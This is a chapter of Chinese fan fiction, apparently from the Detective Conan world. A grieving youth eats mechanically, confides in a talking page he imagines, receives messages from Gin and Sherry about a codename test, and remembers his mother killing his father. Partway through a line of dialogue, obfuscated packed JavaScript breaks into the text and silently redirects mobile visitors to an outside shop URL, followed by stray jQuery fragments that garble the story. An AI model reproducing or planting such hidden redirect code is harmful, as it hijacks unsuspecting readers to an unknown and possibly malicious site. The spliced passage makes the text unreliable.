7.饥饿
    厨房里,剁菜的声音早已停歇。绿川光走出厨房,恰巧和坐在会客厅沙发上的清水真一对上了视线。他的目光扫过被打开的礼物盒,在装着灰烬的骨灰盒上停留了一会儿,最后,有些不安地落到清水真一手中拿着的绘本上。

    实际上,将绘本放进礼物盒之前,他是有些犹豫的。读绘本转移注意力是个好主意,这种目标人群为孩童的书籍在阅读时不需要进行复杂的思考,也能得到其中的乐趣。

    但有时,那些痛苦的人需要的并不是一个好主意。

    安慰他人不是一件容易的事情。除了时间以外,没有人能真正帮当事人分担痛苦,只能尽可能地避免让当事人更加难过。

    幸好,清水真一看起来并不反感这份礼物。

    “谢谢。”清水真一的声音有些颤抖。他坐在沙发上,低着头。长发遮住他的脸,绿川光看不到他的表情,但从他抬起又落下、沾着晶莹液体的手背来看,他应该是在哭。

    绿川光叹了口气。

    “要吃点东西吗?”他问。

    清水真一站起身,走进厨房。饭菜已经做好了,菜式丰盛,色香味俱全。他沉默地坐到餐桌前。

    “我开动了。”他小声说。

    他拿起筷子,每道菜都夹了一些放到碗里,麻木、机械般地将它们塞进口中,数着咀嚼的次数,怀抱着“必须要用餐点来维持生命”的态度吃完了碗中的米饭,然后站起身,带着《彼得兔》的绘本回到了自己的房间。

    他抬起头,脸上没有一丝悲伤。只有平静,平静得叫人害怕。

    不过唯一能看到这副表情的“生物”不光不害怕,反而高兴地在朝他打招呼。

    「欢迎回来!」

    「啊,是绘本!」

    躺在桌子上的书页弯起自己的右上角。

    「好可爱的兔子!它的名字叫彼得吗?」

    「话说,我闻到饭菜的香气了!」

    「呜呜……好想知道是什么味道啊……」

    “不是什么美好的体验。”清水真一说,“不过,这顿饭应该是好吃的。”

    食材之间的配合非常和谐,调味也刚刚好。

    可惜,享用它的人是清水真一。

    「哎?」

    书页疑惑地卷起四角。

    「明明是很好吃的饭菜,为什么会不高兴呢?」

    「是因为那个人吗?那个在监视你的人?」

    清水真一摇摇头。

    “不,他人很好。你的绘本是他送给我的。”

    「这样吗?」

    书页思考了一会儿。

    「那他是好人!」

    不知道这句话怎样戳中了清水真一,总之,他看起来高兴了不少。

    “你的善恶观还真是简单。”他笑着说,“如果所有人都和你一样就好了。”

    「是夸奖吗?」

    “是夸奖。”

    「好耶!」

    书页欢呼。

    “至于我为什么不开心,”清水真一陷入沉思,“该怎么说呢……我不太喜欢吃东西。”

    他拿起书页,双手高举着它,躺倒在床上。

    “清水有一股铁锈的味道,有点像血液;蔬菜是带着泥巴的土腥味,还有些发苦。”

    “肥肉给人一种油津津、满是恶心的脂肪的感觉,瘦肉像是被吸吮完所有甜水的、干巴巴的甘蔗。”

    “顺带一提,甘蔗的甜水是剌嗓子的腐败水果味。”

    「……哎?」

    “海鲜是挥之不散的汽油味,豆类是硬邦邦的、长得像虫卵的石头,熬过豆类的水——比如说,年糕小豆汤,它是抹布味。年糕是有弹性的橡皮味……”

    「哎哎哎哎哎?」

    书页陷入沉思,在正中央留下一个圆形、会转圈圈的“加载中”图样。

    「是这样的吗?」

    “是哦。”清水真一说,“如果我能像你一样不吃东西就好了。”

    「人类每天都要强迫自己吃下这些东西吗?」

    书页整张纸都厌恶地皱了起来。

    “其他人似乎真的很享受那些食物……我能感觉到他们很开心。”

    “也许他们已经习惯了那些味道了吧?”

    “真可惜,我没有这种才能。”

    「所以他们会有喜欢吃的东西。」

    书页成功抓住了重点。

    「我们也可以找到你喜欢吃的东西!然后只吃它就好了——啊,不对,这样的话营养会出问题。」

    「那我们可以把所有东西都调成你喜欢的味道!就像,就像有些豆子做的东西可以被调成肉的味道!」

    清水真一弯起嘴角。

    “是个很好的主意。”他说,“这么说来,我确实有喜欢的食物。”

    「是什么是什么?」

    “柠檬。”清水真一说,“因为饥饿是柠檬味,所以吃下柠檬味的食物会给我一种胃里空空、没有恶心的食物堆积在里面的错觉。”

    「饥饿是柠檬味?」

    清水真一翻过身,把书页放到床上,胳膊支在旁边。

    “是啊,”清水真一仔细地回忆着,“我很少会有饥饿的感觉,但很多天不吃东西的话,嘴里会有奇怪的柠檬味。”

    “酸涩的汁液从喉咙口反上来,腹部传来阵阵被腐蚀一般的灼烧感,肠胃咕噜咕噜地发出抗议。”

    “很像柠檬汽水吧?酸味的,充满气泡的柠檬汽水。我很喜欢柠檬汽水,如果所有的东西都是柠檬汽水味,我想我会很开心的。”

    「好耶!柠檬汽水万岁!」

    书页欢呼。

    清水真一笑出了声。

    “真好。”他说,“你好像那种童话里的角色,突然出现在主角身边,然后用魔法改变主角的命运。就像灰姑娘里的仙女教母一样。”

    但是魔法会在十二点钟声响起时失效,仙女教母也会在灰姑娘嫁给王子,获得“幸福”后从故事中隐身、消失。

    书页是他的幻觉,也许明天早上起来,它就会消失了吧。

    「嘿嘿嘿……是这样吗?」

    书页弯起上面的两个角——清水真一已经见它这样做很多次了,知道它这是在用双手捂住脸。

    它真的很容易害羞。

    「也没有那么厉害吧……嘿嘿嘿……」

    “我要睡觉了。”清水真一说着,手中抓着书页,从床上慢吞吞地爬下来,“你想要被放到第几页?”

    「要插画最多!最治愈最可爱的那一页!」

    “那要看完这本书才知道了……我还从没看过这本书呢。”

    「啊,是哎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190632|138946||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。」

    「那就把我随便夹在某一页里就好了!」

    “明天我会看完的。”清水真一认真地说。

    「wwwwww可以吗?真的可以吗?」

    “当然。”

    他翻开绘本,把书页夹到中间。

    “晚安。”他轻柔地小声说,“祝你好梦。”

    「晚安!」

    清水真一合上绘本。

    他走到椅子旁边,拉开被他扔到椅子上的背包拉链,从里面取出手机。

    是时候面对现实了。

    他点开短信,不出意外地发现,大部分新的短信都来自于琴酒。

    「宾加已经醒了,他想要你的联络方式,给不给他由你决定,我把他的电话发给你」

    「原本打算明年再推荐你,但现在……哼」

    「你的代号测试将于十天后开始,在那之前,做好准备」

    「绿川会教授你一些简单的、使用武器的技巧,并且在考核当天开车带你去到考场」

    「如果你对绿川不满意,可以提前换掉他」

    宾加……那个奇怪的玉米辫男人。

    清水真一看着那串代表了宾加联络方式的数字,默默地将它存到了通讯录里。

    他在醒来时是什么反应呢?

    估计是在大笑吧?

    他看起来像是会这样做的人。

    除了琴酒之外,雪莉也发了几条短信过来。

    「你在哪儿?」

    「宾加做得太过分了」

    「安全到家了吗?」

    「明天见」

    清水真一简单地编辑了一条回信,发给了雪莉。

    「谢谢,明天见。」

    他走到门边,关上灯,躺在床上。

    说实话,他完全睡不着。但他经常睡不着,所以今天也不会太难熬。

    很久以前,当他突然意识到“死亡”这个概念的时候,他疑惑地向母亲提问:

    “死亡是什么感觉?”

    母亲温柔地笑着。

    “是一场无梦的长眠。”

    那之后,清水真一就很难自主入睡了。每当他强迫自己去睡觉时,对死亡的恐惧感就会促使他睁开双眼。他的心跳会加快,呼吸会变得急促而困难,焦虑会在脑中蔓延开来。

    分不清现实与梦境这件事让他很高兴。尽管无梦的睡眠能够让他更好地休息,但梦境会提醒他一件非常重要的事——

    他还活着。

    所以一切都没关系。

    只要活着就好。

    他打开手机,一遍又一遍地翻看那些短信。

    琴酒、雪莉、宾加、伏特加、绿川光、宾加、雪莉、琴酒、绿川光、伏特加……

    他在心里一遍又一遍地默念这些名字。

    这是现实吗?从父母死后开始的一切都是现实吗?

    也许他应该去睡觉了,等他醒来,母亲依旧怀着恶意,装出那副温柔的样子,告别他和父亲,出门上班。父亲沉默地换好西装和皮鞋,送清水真一去上学,在门口朝他挥手。清水真一依旧怀着“今天也活得很好”的心态,期待地回到家,检查父母今天是否也还活着。

    然后等待着母亲杀死父亲后,带着温柔的笑意持枪站在门口,看着清水真一回家的那一天到来。